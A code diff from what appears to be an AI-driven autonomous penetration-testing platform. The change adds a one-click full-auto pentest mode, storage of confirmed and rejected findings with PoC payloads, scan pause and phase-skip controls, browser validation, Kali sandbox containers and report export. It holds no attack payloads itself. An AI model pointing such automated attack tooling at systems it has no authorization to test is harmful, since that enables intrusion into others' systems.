diff --git a/agents/base_agent.py b/agents/base_agent.py index f2a9216..4535dbe 100644 --- a/agents/base_agent.py +++ b/agents/base_agent.py @@ -47,6 +47,35 @@ class BaseAgent: self.interesting_findings = [] self.tool_history = [] + # Knowledge augmentation (opt-in via env) + self.augmentor = None + if os.getenv('ENABLE_KNOWLEDGE_AUGMENTATION', 'false').lower() == 'true': + try: + from core.knowledge_augmentor import KnowledgeAugmentor + ka_config = config.get('knowledge_augmentation', {}) + self.augmentor = KnowledgeAugmentor( + dataset_path=ka_config.get('dataset_path', 'models/bug-bounty/bugbounty_finetuning_dataset.json'), + max_patterns=ka_config.get('max_patterns_per_query', 3) + ) + logger.info("Knowledge augmentation enabled") + except Exception as e: + logger.warning(f"Knowledge augmentation init failed: {e}") + + # MCP tool client (opt-in via config) + self.mcp_client = None + if config.get('mcp_servers', {}).get('enabled', False): + try: + from core.mcp_client import MCPToolClient + self.mcp_client = MCPToolClient(config) + logger.info("MCP tool client enabled") + except Exception as e: + logger.warning(f"MCP client init failed: {e}") + + # Browser validation (opt-in via env) + self.browser_validation_enabled = ( + os.getenv('ENABLE_BROWSER_VALIDATION', 'false').lower() == 'true' + ) + logger.info(f"Initialized {self.agent_name} - Autonomous Agent") def _extract_targets(self, user_input: str) -> List[str]: @@ -131,6 +160,68 @@ class BaseAgent: self.tool_history.append(result) return result + def run_mcp_tool(self, tool_name: str, arguments: Optional[Dict] = None) -> Optional[str]: + """Execute a tool via MCP if available, returns None for subprocess fallback.""" + if not self.mcp_client or not self.mcp_client.enabled: + return None + + import asyncio + try: + result = asyncio.run(self.mcp_client.try_tool(tool_name, arguments)) + if result is not None: + logger.info(f"MCP tool executed: {tool_name}") + return result + except Exception as e: + logger.debug(f"MCP tool '{tool_name}' not available: {e}") + return None + + def run_browser_validation(self, finding_id: str, url: str, + payload: str = None) -> Dict: + """Validate a finding using Playwright browser. + + Only executes if ENABLE_BROWSER_VALIDATION is set. + Returns validation result with screenshots. + """ + if not self.browser_validation_enabled: + return {"skipped": True, "reason": "Browser validation disabled"} + + try: + from core.browser_validator import validate_finding_sync + screenshots_dir = self.config.get('browser_validation', {}).get( + 'screenshots_dir', 'reports/screenshots' + ) + return validate_finding_sync( + finding_id=finding_id, + url=url, + payload=payload, + screenshots_dir=f"{screenshots_dir}/{self.agent_name}", + headless=self.config.get('browser_validation', {}).get('headless', True) + ) + except Exception as e: + logger.error(f"Browser validation failed for {finding_id}: {e}") + return {"finding_id": finding_id, "error": str(e)} + + def get_augmented_context(self, vulnerability_types: List[str]) -> str: + """Get knowledge augmentation context for detected vulnerability types. + + Returns formatted pattern context string to inject into prompts. + """ + if not self.augmentor: + return "" + + augmentation = "" + technologies = list(self.tech_stack.get('detected', [])) + + for vtype in vulnerability_types[:3]: # Limit to avoid context bloat + patterns = self.augmentor.get_relevant_patterns( + vulnerability_type=vtype, + technologies=technologies + ) + if patterns: + augmentation += patterns + + return augmentation + def execute(self, user_input: str, campaign_data: Dict = None, recon_context: Dict = None) -> Dict: """ Execute security assessment. diff --git a/backend/api/v1/agent.py b/backend/api/v1/agent.py index c3401ec..7115e33 100644 --- a/backend/api/v1/agent.py +++ b/backend/api/v1/agent.py @@ -32,6 +32,8 @@ agent_instances: Dict[str, AutonomousAgent] = {} # Map agent_id to scan_id for database persistence agent_to_scan: Dict[str, str] = {} +# Reverse map: scan_id to agent_id for ScanDetailsPage lookups +scan_to_agent: Dict[str, str] = {} @router.get("/status") @@ -101,6 +103,7 @@ class AgentMode(str, Enum): RECON_ONLY = "recon_only" # Just reconnaissance PROMPT_ONLY = "prompt_only" # AI decides (high tokens) ANALYZE_ONLY = "analyze_only" # Analysis without testing + AUTO_PENTEST = "auto_pentest" # One-click full auto pentest class AgentRequest(BaseModel): @@ -113,6 +116,8 @@ class AgentRequest(BaseModel): auth_value: Optional[str] = Field(None, description="Auth value (cookie string, token, etc)") custom_headers: Optional[Dict[str, str]] = Field(None, description="Custom HTTP headers") max_depth: int = Field(5, description="Maximum crawl depth") + subdomain_discovery: bool = Field(False, description="Enable subdomain discovery (auto_pentest mode)") + targets: Optional[List[str]] = Field(None, description="Multiple targets (auto_pentest mode)") class AgentResponse(BaseModel): @@ -193,7 +198,9 @@ async def run_agent(request: AgentRequest, background_tasks: BackgroundTasks): "findings": [], "report": None, "progress": 0, - "phase": "initializing" + "phase": "initializing", + "rejected_findings": [], + "rejected_findings_count": 0, } # Run agent in background @@ -212,7 +219,8 @@ async def run_agent(request: AgentRequest, background_tasks: BackgroundTasks): "full_auto": "Full autonomous pentest: Recon -> Analyze -> Test -> Report", "recon_only": "Reconnaissance only, no vulnerability testing", "prompt_only": "AI decides everything (high token usage!)", - "analyze_only": "Analysis only, no active testing" + "analyze_only": "Analysis only, no active testing", + "auto_pentest": "One-click auto pentest: Full recon + 100 vuln types + AI report" } return AgentResponse( @@ -255,12 +263,20 @@ async def _run_agent_task( agent_results[agent_id]["progress"] = progress agent_results[agent_id]["phase"] = phase + rejected_findings_list = [] + async def finding_callback(finding: Dict): """Real-time finding callback - updates in-memory storage immediately""" - findings_list.append(finding) - if agent_id in agent_results: - agent_results[agent_id]["findings"] = findings_list - agent_results[agent_id]["findings_count"] = len(findings_list) + if finding.get("ai_status") == "rejected": + rejected_findings_list.append(finding) + if agent_id in agent_results: + agent_results[agent_id]["rejected_findings"] = rejected_findings_list + agent_results[agent_id]["rejected_findings_count"] = len(rejected_findings_list) + else: + findings_list.append(finding) + if agent_id in agent_results: + agent_results[agent_id]["findings"] = findings_list + agent_results[agent_id]["findings_count"] = len(findings_list) try: # Create database session and scan record @@ -289,8 +305,9 @@ async def _run_agent_task( db.add(target_record) await db.commit() - # Store mapping + # Store mapping (both directions) agent_to_scan[agent_id] = scan_id + scan_to_agent[scan_id] = agent_id agent_results[agent_id]["scan_id"] = scan_id # Map mode @@ -299,6 +316,7 @@ async def _run_agent_task( AgentMode.RECON_ONLY: OperationMode.RECON_ONLY, AgentMode.PROMPT_ONLY: OperationMode.PROMPT_ONLY, AgentMode.ANALYZE_ONLY: OperationMode.ANALYZE_ONLY, + AgentMode.AUTO_PENTEST: OperationMode.AUTO_PENTEST, } op_mode = mode_map.get(mode, OperationMode.FULL_AUTO) @@ -311,6 +329,7 @@ async def _run_agent_task( task=task, custom_prompt=custom_prompt or (task.prompt if task else None), finding_callback=finding_callback, + scan_id=str(scan_id), ) as agent: # Store agent instance for stop functionality agent_instances[agent_id] = agent @@ -345,7 +364,41 @@ async def _run_agent_task( impact=finding.get("impact", ""), remediation=finding.get("remediation", ""), references=finding.get("references", []), - ai_analysis=finding.get("ai_analysis", finding.get("exploitation_steps", "")) + ai_analysis=finding.get("ai_analysis", finding.get("exploitation_steps", "")), + poc_code=finding.get("poc_code", ""), + screenshots=finding.get("screenshots", []), + url=finding.get("url", finding.get("affected_endpoint", "")), + parameter=finding.get("parameter", finding.get("poc_parameter", "")), + validation_status="ai_confirmed", + ) + db.add(vuln) + + # Save rejected findings to database for manual review + for finding in report.get("rejected_findings", []): + vuln = Vulnerability( + scan_id=scan_id, + title=finding.get("title", finding.get("type", "Unknown")), + vulnerability_type=finding.get("vulnerability_type", finding.get("type", "unknown")), + severity=finding.get("severity", "medium").lower(), + cvss_score=finding.get("cvss_score"), + cvss_vector=finding.get("cvss_vector"), + cwe_id=finding.get("cwe_id"), + description=finding.get("description", finding.get("evidence", "")), + affected_endpoint=finding.get("affected_endpoint", finding.get("endpoint", finding.get("url", target))), + poc_payload=finding.get("payload", finding.get("poc_payload", "")), + poc_parameter=finding.get("parameter", finding.get("poc_parameter", "")), + poc_evidence=finding.get("evidence", finding.get("poc_evidence", "")), + poc_request=str(finding.get("request", finding.get("poc_request", "")))[:5000], + poc_response=str(finding.get("response", finding.get("poc_response", "")))[:5000], + impact=finding.get("impact", ""), + remediation=finding.get("remediation", ""), + references=finding.get("references", []), + poc_code=finding.get("poc_code", ""), + screenshots=finding.get("screenshots", []), + url=finding.get("url", finding.get("affected_endpoint", "")), + parameter=finding.get("parameter", finding.get("poc_parameter", "")), + validation_status="ai_rejected", + ai_rejection_reason=finding.get("rejection_reason", ""), ) db.add(vuln) @@ -402,6 +455,7 @@ async def _run_agent_task( agent_results[agent_id]["report"] = report agent_results[agent_id]["report_id"] = report_record.id agent_results[agent_id]["findings"] = findings + agent_results[agent_id]["tool_executions"] = report.get("tool_executions", []) agent_results[agent_id]["progress"] = 100 agent_results[agent_id]["phase"] = "completed" @@ -429,6 +483,37 @@ async def _run_agent_task( pass +@router.get("/by-scan/{scan_id}") +async def get_agent_by_scan(scan_id: str): + """Look up agent status by scan_id (reverse lookup for ScanDetailsPage)""" + agent_id = scan_to_agent.get(scan_id) + if not agent_id: + raise HTTPException(status_code=404, detail="No agent found for this scan") + + if agent_id in agent_results: + result = agent_results[agent_id] + return { + "agent_id": agent_id, + "scan_id": scan_id, + "status": result["status"], + "mode": result.get("mode", "full_auto"), + "target": result["target"], + "progress": result.get("progress", 0), + "phase": result.get("phase", "unknown"), + "started_at": result.get("started_at"), + "completed_at": result.get("completed_at"), + "findings_count": len(result.get("findings", [])), + "findings": result.get("findings", []), + "rejected_findings_count": len(result.get("rejected_findings", [])), + "rejected_findings": result.get("rejected_findings", []), + "logs_count": len(result.get("logs", [])), + "report": result.get("report"), + "error": result.get("error") + } + + raise HTTPException(status_code=404, detail="Agent data no longer in memory") + + @router.get("/status/{agent_id}") async def get_agent_status(agent_id: str): """Get the status and results of an agent run - with database fallback""" @@ -449,6 +534,8 @@ async def get_agent_status(agent_id: str): "logs_count": len(result.get("logs", [])), "findings_count": len(result.get("findings", [])), "findings": result.get("findings", []), + "rejected_findings_count": len(result.get("rejected_findings", [])), + "rejected_findings": result.get("rejected_findings", []), "report": result.get("report"), "error": result.get("error") } @@ -495,10 +582,12 @@ async def _get_status_from_db(agent_id: str, scan_id: str): "evidence": getattr(v, 'poc_evidence', None) or "", "request": v.poc_request or "", "response": v.poc_response or "", - "poc_code": v.poc_payload or "", + "poc_code": getattr(v, 'poc_code', None) or v.poc_payload or "", "impact": v.impact or "", "remediation": v.remediation or "", "references": v.references or [], + "screenshots": getattr(v, 'screenshots', None) or [], + "url": getattr(v, 'url', None) or v.affected_endpoint or "", "ai_verified": True, "confidence": "high" } @@ -542,14 +631,14 @@ async def _get_status_from_db(agent_id: str, scan_id: str): @router.post("/stop/{agent_id}") async def stop_agent(agent_id: str): - """Stop a running agent scan and auto-generate report""" + """Stop a running agent scan, save all findings to DB, and generate report.""" if agent_id not in agent_results: raise HTTPException(status_code=404, detail="Agent not found") if agent_results[agent_id]["status"] != "running": return {"message": "Agent is not running", "status": agent_results[agent_id]["status"]} - # Cancel the agent + # Cancel the agent immediately if agent_id in agent_instances: agent_instances[agent_id].cancel() @@ -558,9 +647,10 @@ async def stop_agent(agent_id: str): agent_results[agent_id]["phase"] = "stopped" agent_results[agent_id]["completed_at"] = datetime.utcnow().isoformat() - # Update database and auto-generate report + # Update database: save findings + generate report scan_id = agent_to_scan.get(agent_id) report_id = None + target = agent_results[agent_id].get("target", "Unknown") if scan_id: try: @@ -573,47 +663,222 @@ async def stop_agent(agent_id: str): scan.status = "stopped" scan.completed_at = datetime.utcnow() - # Get findings count + # Save confirmed findings to DB (same as completion flow) findings = agent_results[agent_id].get("findings", []) - scan.total_vulnerabilities = len(findings) + severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0} - # Count severities for finding in findings: - severity = finding.get("severity", "").lower() - if severity == "critical": - scan.critical_count = (scan.critical_count or 0) + 1 - elif severity == "high": - scan.high_count = (scan.high_count or 0) + 1 - elif severity == "medium": - scan.medium_count = (scan.medium_count or 0) + 1 - elif severity == "low": - scan.low_count = (scan.low_count or 0) + 1 - elif severity == "info": - scan.info_count = (scan.info_count or 0) + 1 + severity = finding.get("severity", "medium").lower() + if severity in severity_counts: + severity_counts[severity] += 1 + + vuln = Vulnerability( + scan_id=scan_id, + title=finding.get("title", finding.get("type", "Unknown")), + vulnerability_type=finding.get("vulnerability_type", finding.get("type", "unknown")), + severity=severity, + cvss_score=finding.get("cvss_score"), + cvss_vector=finding.get("cvss_vector"), + cwe_id=finding.get("cwe_id"), + description=finding.get("description", finding.get("evidence", "")), + affected_endpoint=finding.get("affected_endpoint", finding.get("endpoint", finding.get("url", target))), + poc_payload=finding.get("payload", finding.get("poc_payload", "")), + poc_parameter=finding.get("parameter", finding.get("poc_parameter", "")), + poc_evidence=finding.get("evidence", finding.get("poc_evidence", "")), + poc_request=str(finding.get("request", finding.get("poc_request", "")))[:5000], + poc_response=str(finding.get("response", finding.get("poc_response", "")))[:5000], + impact=finding.get("impact", ""), + remediation=finding.get("remediation", ""), + references=finding.get("references", []), + ai_analysis=finding.get("ai_analysis", finding.get("exploitation_steps", "")), + poc_code=finding.get("poc_code", ""), + screenshots=finding.get("screenshots", []), + url=finding.get("url", finding.get("affected_endpoint", "")), + parameter=finding.get("parameter", finding.get("poc_parameter", "")), + validation_status="ai_confirmed", + ) + db.add(vuln) + + # Save rejected findings to DB for manual review + rejected = agent_results[agent_id].get("rejected_findings", []) + for finding in rejected: + vuln = Vulnerability( + scan_id=scan_id, + title=finding.get("title", finding.get("type", "Unknown")), + vulnerability_type=finding.get("vulnerability_type", finding.get("type", "unknown")), + severity=finding.get("severity", "medium").lower(), + cvss_score=finding.get("cvss_score"), + cvss_vector=finding.get("cvss_vector"), + cwe_id=finding.get("cwe_id"), + description=finding.get("description", finding.get("evidence", "")), + affected_endpoint=finding.get("affected_endpoint", finding.get("endpoint", finding.get("url", target))), + poc_payload=finding.get("payload", finding.get("poc_payload", "")), + poc_parameter=finding.get("parameter", finding.get("poc_parameter", "")), + poc_evidence=finding.get("evidence", finding.get("poc_evidence", "")), + poc_request=str(finding.get("request", finding.get("poc_request", "")))[:5000], + poc_response=str(finding.get("response", finding.get("poc_response", "")))[:5000], + impact=finding.get("impact", ""), + remediation=finding.get("remediation", ""), + references=finding.get("references", []), + poc_code=finding.get("poc_code", ""), + screenshots=finding.get("screenshots", []), + url=finding.get("url", finding.get("affected_endpoint", "")), + parameter=finding.get("parameter", finding.get("poc_parameter", "")), + validation_status="ai_rejected", + ai_rejection_reason=finding.get("rejection_reason", ""), + ) + db.add(vuln) + + # Update scan counts (confirmed only) + scan.total_vulnerabilities = len(findings) + scan.critical_count = severity_counts["critical"] + scan.high_count = severity_counts["high"] + scan.medium_count = severity_counts["medium"] + scan.low_count = severity_counts["low"] + scan.info_count = severity_counts["info"] await db.commit() - # Auto-generate report - report = Report( + # Auto-generate report record + report_record = Report( scan_id=scan_id, - title=f"Agent Scan Report - {agent_results[agent_id].get('target', 'Unknown')}", + title=f"Agent Scan Report - {target}", format="json", - executive_summary=f"Automated security scan completed with {len(findings)} findings." + executive_summary=f"Security scan stopped with {len(findings)} confirmed and {len(rejected)} rejected findings." ) - db.add(report) + db.add(report_record) await db.commit() - await db.refresh(report) - report_id = report.id + await db.refresh(report_record) + report_id = report_record.id except Exception as e: - print(f"Error updating scan status: {e}") + print(f"Error updating scan status on stop: {e}") import traceback traceback.print_exc() return { "message": "Agent stopped successfully", "agent_id": agent_id, - "report_id": report_id + "report_id": report_id, + "findings_saved": len(agent_results[agent_id].get("findings", [])), + "rejected_saved": len(agent_results[agent_id].get("rejected_findings", [])), + } + + +@router.post("/pause/{agent_id}") +async def pause_agent(agent_id: str): + """Pause a running agent scan""" + if agent_id not in agent_results: + raise HTTPException(status_code=404, detail="Agent not found") + + if agent_results[agent_id]["status"] != "running": + return {"message": "Agent is not running", "status": agent_results[agent_id]["status"]} + + if agent_id in agent_instances: + agent_instances[agent_id].pause() + + # Save current phase before overwriting with "paused" + agent_results[agent_id]["last_phase"] = agent_results[agent_id].get("phase", "recon") + agent_results[agent_id]["status"] = "paused" + agent_results[agent_id]["phase"] = "paused" + + return {"message": "Agent paused", "agent_id": agent_id} + + +@router.post("/resume/{agent_id}") +async def resume_agent(agent_id: str): + """Resume a paused agent scan""" + if agent_id not in agent_results: + raise HTTPException(status_code=404, detail="Agent not found") + + if agent_results[agent_id]["status"] != "paused": + return {"message": "Agent is not paused", "status": agent_results[agent_id]["status"]} + + if agent_id in agent_instances: + agent_instances[agent_id].resume() + + agent_results[agent_id]["status"] = "running" + # Restore the phase that was active before pause + agent_results[agent_id]["phase"] = agent_results[agent_id].get("last_phase", "testing") + + return {"message": "Agent resumed", "agent_id": agent_id} + + +# Agent phase order for skip validation +AGENT_PHASE_ORDER = ["recon", "analysis", "testing", "enhancement", "completed"] + +# Map phase names from status strings to canonical phase keys +PHASE_NORMALIZE = { + "starting reconnaissance": "recon", + "reconnaissance complete": "recon", + "initial probe complete": "recon", + "endpoint discovery complete": "recon", + "parameter discovery complete": "recon", + "attack surface analyzed": "analysis", + "vulnerability testing complete": "testing", + "findings enhanced": "enhancement", + "assessment complete": "completed", +} + + +@router.post("/skip-to/{agent_id}/{target_phase}") +async def skip_agent_phase(agent_id: str, target_phase: str): + """Skip the current agent phase and jump to a target phase. + + Valid phases: recon, analysis, testing, enhancement, completed + Can only skip forward (to a phase ahead of current). + """ + if agent_id not in agent_results: + raise HTTPException(status_code=404, detail="Agent not found") + + agent_status = agent_results[agent_id]["status"] + if agent_status not in ("running", "paused"): + raise HTTPException(status_code=400, detail="Agent is not running or paused") + + if target_phase not in AGENT_PHASE_ORDER: + raise HTTPException( + status_code=400, + detail=f"Invalid phase '{target_phase}'. Valid: {', '.join(AGENT_PHASE_ORDER[1:])}" + ) + + # Get current phase and normalize it + current_raw = agent_results[agent_id].get("phase", "").lower() + # Handle "paused" phase — use the last known non-paused phase, default to recon + if current_raw in ("paused", "stopped"): + current_raw = agent_results[agent_id].get("last_phase", "recon") + current_phase = PHASE_NORMALIZE.get(current_raw, current_raw) + # Also try prefix match + for key in AGENT_PHASE_ORDER: + if key in current_phase: + current_phase = key + break + + cur_idx = AGENT_PHASE_ORDER.index(current_phase) if current_phase in AGENT_PHASE_ORDER else 0 + tgt_idx = AGENT_PHASE_ORDER.index(target_phase) + + if tgt_idx <= cur_idx: + raise HTTPException( + status_code=400, + detail=f"Cannot skip backward. Current: {current_phase}, target: {target_phase}" + ) + + # Signal the agent instance to skip + if agent_id in agent_instances: + # If paused, resume first so the skip can be processed + if agent_status == "paused": + agent_instances[agent_id].resume() + agent_results[agent_id]["status"] = "running" + success = agent_instances[agent_id].skip_to_phase(target_phase) + if not success: + raise HTTPException(status_code=500, detail="Failed to signal phase skip") + else: + raise HTTPException(status_code=400, detail="Agent instance not available for signaling") + + return { + "message": f"Skipping to phase: {target_phase}", + "agent_id": agent_id, + "from_phase": current_phase, + "target_phase": target_phase } @@ -1711,7 +1976,10 @@ async def _save_realtime_findings_to_db(session_id: str, session: Dict): impact=finding.get("impact", ""), remediation=finding.get("remediation", ""), references=finding.get("references", []), - ai_analysis=f"Identified during realtime session {session_id}" + ai_analysis=f"Identified during realtime session {session_id}", + screenshots=finding.get("screenshots", []), + url=finding.get("url", finding.get("affected_endpoint", "")), + parameter=finding.get("parameter", "") ) db.add(vuln) @@ -1809,6 +2077,29 @@ async def generate_realtime_report(session_id: str, format: str = "json"): scan_results=tool_results ) + # Save to a per-report folder with screenshots + import shutil + from pathlib import Path + timestamp = datetime.utcnow().strftime("%Y%m%d_%H%M%S") + target_name = session["target"].replace("://", "_").replace("/", "_").rstrip("_")[:40] + report_dir = Path("reports") / f"report_{target_name}_{timestamp}" + report_dir.mkdir(parents=True, exist_ok=True) + (report_dir / f"report_{timestamp}.html").write_text(html_content) + + # Copy screenshots into report folder + screenshots_src = Path("reports") / "screenshots" + if screenshots_src.exists(): + screenshots_dest = report_dir / "screenshots" + for finding in findings: + fid = finding.get("id", "") + if fid: + src_dir = screenshots_src / str(fid) + if src_dir.exists(): + dest_dir = screenshots_dest / str(fid) + dest_dir.mkdir(parents=True, exist_ok=True) + for ss_file in src_dir.glob("*.png"): + shutil.copy2(ss_file, dest_dir / ss_file.name) + return HTMLResponse(content=html_content, media_type="text/html") return { diff --git a/backend/api/v1/reports.py b/backend/api/v1/reports.py index 1d9067f..a900dc4 100644 --- a/backend/api/v1/reports.py +++ b/backend/api/v1/reports.py @@ -64,6 +64,19 @@ async def generate_report( ) vulnerabilities = vulns_result.scalars().all() + # Try to get tool_executions from agent in-memory results + tool_executions = [] + try: + from backend.api.v1.agent import scan_to_agent, agent_results + agent_id = scan_to_agent.get(report_data.scan_id) + if agent_id and agent_id in agent_results: + tool_executions = agent_results[agent_id].get("tool_executions", []) + if not tool_executions: + rpt = agent_results[agent_id].get("report", {}) + tool_executions = rpt.get("tool_executions", []) if isinstance(rpt, dict) else [] + except Exception: + pass + # Generate report generator = ReportGenerator() report_path, executive_summary = await generator.generate( @@ -73,7 +86,8 @@ async def generate_report( title=report_data.title, include_executive_summary=report_data.include_executive_summary, include_poc=report_data.include_poc, - include_remediation=report_data.include_remediation + include_remediation=report_data.include_remediation, + tool_executions=tool_executions, ) # Save report record @@ -91,6 +105,63 @@ async def generate_report( return ReportResponse(**report.to_dict()) +@router.post("/ai-generate", response_model=ReportResponse) +async def generate_ai_report( + report_data: ReportGenerate, + db: AsyncSession = Depends(get_db) +): + """Generate an AI-enhanced report with LLM-written executive summary and per-finding analysis.""" + # Get scan + scan_result = await db.execute(select(Scan).where(Scan.id == report_data.scan_id)) + scan = scan_result.scalar_one_or_none() + + if not scan: + raise HTTPException(status_code=404, detail="Scan not found") + + # Get vulnerabilities + vulns_result = await db.execute( + select(Vulnerability).where(Vulnerability.scan_id == report_data.scan_id) + ) + vulnerabilities = vulns_result.scalars().all() + + # Try to get tool_executions from agent in-memory results + tool_executions = [] + try: + from backend.api.v1.agent import scan_to_agent, agent_results + agent_id = scan_to_agent.get(report_data.scan_id) + if agent_id and agent_id in agent_results: + tool_executions = agent_results[agent_id].get("tool_executions", []) + # Also check nested report + if not tool_executions: + rpt = agent_results[agent_id].get("report", {}) + tool_executions = rpt.get("tool_executions", []) if isinstance(rpt, dict) else [] + except Exception: + pass + + # Generate AI report + generator = ReportGenerator() + report_path, ai_summary = await generator.generate_ai_report( + scan=scan, + vulnerabilities=vulnerabilities, + tool_executions=tool_executions, + title=report_data.title, + ) + + # Save report record + report = Report( + scan_id=scan.id, + title=report_data.title or f"AI Report - {scan.name}", + format="html", + file_path=str(report_path), + executive_summary=ai_summary[:2000] if ai_summary else None + ) + db.add(report) + await db.commit() + await db.refresh(report) + + return ReportResponse(**report.to_dict()) + + @router.get("/{report_id}", response_model=ReportResponse) async def get_report(report_id: str, db: AsyncSession = Depends(get_db)): """Get report details""" @@ -187,6 +258,100 @@ async def download_report( ) +@router.get("/{report_id}/download-zip") +async def download_report_zip( + report_id: str, + db: AsyncSession = Depends(get_db) +): + """Download report as ZIP with screenshots included""" + import zipfile + import tempfile + import hashlib + + result = await db.execute(select(Report).where(Report.id == report_id)) + report = result.scalar_one_or_none() + + if not report: + raise HTTPException(status_code=404, detail="Report not found") + + scan_result = await db.execute(select(Scan).where(Scan.id == report.scan_id)) + scan = scan_result.scalar_one_or_none() + + if not scan: + raise HTTPException(status_code=404, detail="Scan not found for report") + + vulns_result = await db.execute( + select(Vulnerability).where(Vulnerability.scan_id == report.scan_id) + ) + vulnerabilities = vulns_result.scalars().all() + + # Generate HTML report + generator = ReportGenerator() + report_path, _ = await generator.generate( + scan=scan, + vulnerabilities=vulnerabilities, + format="html", + title=report.title + ) + + # Collect screenshots (use absolute path via settings.BASE_DIR) + # Check scan-scoped path first, then legacy flat path + screenshots_base = settings.BASE_DIR / "reports" / "screenshots" + scan_id_str = str(scan.id) if scan else None + screenshot_files = [] + for vuln in vulnerabilities: + # Finding ID is md5(vuln_type+url+param)[:8] + vuln_url = getattr(vuln, 'url', None) or vuln.affected_endpoint or '' + vuln_param = getattr(vuln, 'parameter', None) or getattr(vuln, 'poc_parameter', None) or '' + finding_id = hashlib.md5( + f"{vuln.vulnerability_type}{vuln_url}{vuln_param}".encode() + ).hexdigest()[:8] + # Scan-scoped path: reports/screenshots/{scan_id}/{finding_id}/ + finding_dir = None + if scan_id_str: + scan_dir = screenshots_base / scan_id_str / finding_id + if scan_dir.exists(): + finding_dir = scan_dir + if not finding_dir: + legacy_dir = screenshots_base / finding_id + if legacy_dir.exists(): + finding_dir = legacy_dir + if finding_dir: + for img in finding_dir.glob("*.png"): + screenshot_files.append((img, f"screenshots/{finding_id}/{img.name}")) + # Also include base64 screenshots from DB as files in the ZIP + db_screenshots = getattr(vuln, 'screenshots', None) or [] + for idx, ss in enumerate(db_screenshots): + if isinstance(ss, str) and ss.startswith("data:image/"): + # Will be embedded in HTML, but also save as file + import base64 as b64 + try: + b64_data = ss.split(",", 1)[1] + img_bytes = b64.b64decode(b64_data) + img_name = f"screenshots/{finding_id}/evidence_{idx+1}.png" + # Write to temp for ZIP inclusion + tmp_img = Path(tempfile.gettempdir()) / f"ss_{finding_id}_{idx}.png" + tmp_img.write_bytes(img_bytes) + screenshot_files.append((tmp_img, img_name)) + except Exception: + pass + + # Create ZIP + zip_name = Path(report_path).stem + ".zip" + zip_path = Path(tempfile.gettempdir()) / zip_name + + with zipfile.ZipFile(str(zip_path), 'w', zipfile.ZIP_DEFLATED) as zf: + zf.write(report_path, "report.html") + for src_path, arc_name in screenshot_files: + zf.write(str(src_path), arc_name) + + return FileResponse( + path=str(zip_path), + media_type="application/zip", + filename=zip_name + ) + + @router.delete("/{report_id}") async def delete_report(report_id: str, db: AsyncSession = Depends(get_db)): """Delete a report""" diff --git a/backend/api/v1/sandbox.py b/backend/api/v1/sandbox.py new file mode 100644 index 0000000..9171ab5 --- /dev/null +++ b/backend/api/v1/sandbox.py @@ -0,0 +1,130 @@ +""" +NeuroSploit v3 - Sandbox Container Management API + +Real-time monitoring and management of per-scan Kali Linux containers. +""" + +from datetime import datetime +from fastapi import APIRouter, HTTPException + +router = APIRouter() + + +def _docker_available() -> bool: + try: + import docker + docker.from_env().ping() + return True + except Exception: + return False + + +@router.get("/") +async def list_sandboxes(): + """List all sandbox containers with pool status.""" + try: + from core.container_pool import get_pool + pool = get_pool() + except Exception as e: + return { + "pool": { + "active": 0, + "max_concurrent": 0, + "image": "neurosploit-kali:latest", + "container_ttl_minutes": 60, + "docker_available": _docker_available(), + }, + "containers": [], + "error": str(e), + } + + sandboxes = pool.list_sandboxes() + now = datetime.utcnow() + + containers = [] + for info in sandboxes.values(): + created = info.get("created_at") + uptime = 0.0 + if created: + try: + dt = datetime.fromisoformat(created) + uptime = (now - dt).total_seconds() + except Exception: + pass + containers.append({ + **info, + "uptime_seconds": uptime, + }) + + return { + "pool": { + "active": pool.active_count, + "max_concurrent": pool.max_concurrent, + "image": pool.image, + "container_ttl_minutes": int(pool.container_ttl.total_seconds() / 60), + "docker_available": _docker_available(), + }, + "containers": containers, + } + + +@router.get("/{scan_id}") +async def get_sandbox(scan_id: str): + """Get health check for a specific sandbox container.""" + try: + from core.container_pool import get_pool + pool = get_pool() + except Exception as e: + raise HTTPException(status_code=503, detail=str(e)) + + sandboxes = pool.list_sandboxes() + if scan_id not in sandboxes: + raise HTTPException(status_code=404, detail=f"No sandbox for scan {scan_id}") + + sb = pool._sandboxes.get(scan_id) + if not sb: + raise HTTPException(status_code=404, detail=f"Sandbox instance not found") + + health = await sb.health_check() + return health + + +@router.delete("/{scan_id}") +async def destroy_sandbox(scan_id: str): + """Destroy a specific sandbox container.""" + try: + from core.container_pool import get_pool + pool = get_pool() + except Exception as e: + raise HTTPException(status_code=503, detail=str(e)) + + sandboxes = pool.list_sandboxes() + if scan_id not in sandboxes: + raise HTTPException(status_code=404, detail=f"No sandbox for scan {scan_id}") + + await pool.destroy(scan_id) + return {"message": f"Sandbox for scan {scan_id} destroyed", "scan_id": scan_id} + + +@router.post("/cleanup") +async def cleanup_expired(): + """Remove containers that have exceeded their TTL.""" + try: + from core.container_pool import get_pool + pool = get_pool() + await pool.cleanup_expired() + return {"message": "Expired containers cleaned up"} + except Exception as e: + raise HTTPException(status_code=503, detail=str(e)) + + +@router.post("/cleanup-orphans") +async def cleanup_orphans(): + """Remove orphan containers not tracked by the pool.""" + try: + from core.container_pool import get_pool + pool = get_pool() + await pool.cleanup_orphans() + return {"message": "Orphan containers cleaned up"} + except Exception as e: + raise HTTPException(status_code=503, detail=str(e)) diff --git a/backend/api/v1/scans.py b/backend/api/v1/scans.py index 71df6e1..329655c 100644 --- a/backend/api/v1/scans.py +++ b/backend/api/v1/scans.py @@ -4,6 +4,7 @@ NeuroSploit v3 - Scans API Endpoints from typing import List, Optional from datetime import datetime from fastapi import APIRouter, Depends, HTTPException, BackgroundTasks +from pydantic import BaseModel from sqlalchemy.ext.asyncio import AsyncSession from sqlalchemy import select, func from urllib.parse import urlparse @@ -11,7 +12,7 @@ from urllib.parse import urlparse from backend.db.database import get_db from backend.models import Scan, Target, Endpoint, Vulnerability from backend.schemas.scan import ScanCreate, ScanUpdate, ScanResponse, ScanListResponse, ScanProgress -from backend.services.scan_service import run_scan_task +from backend.services.scan_service import run_scan_task, skip_to_phase as _skip_to_phase, PHASE_ORDER router = APIRouter() @@ -177,6 +178,7 @@ async def start_scan( async def stop_scan(scan_id: str, db: AsyncSession = Depends(get_db)): """Stop a running scan and save partial results""" from backend.api.websocket import manager as ws_manager + from backend.api.v1.agent import scan_to_agent, agent_instances, agent_results result = await db.execute(select(Scan).where(Scan.id == scan_id)) scan = result.scalar_one_or_none() @@ -184,8 +186,16 @@ async def stop_scan(scan_id: str, db: AsyncSession = Depends(get_db)): if not scan: raise HTTPException(status_code=404, detail="Scan not found") - if scan.status != "running": - raise HTTPException(status_code=400, detail="Scan is not running") + if scan.status not in ("running", "paused"): + raise HTTPException(status_code=400, 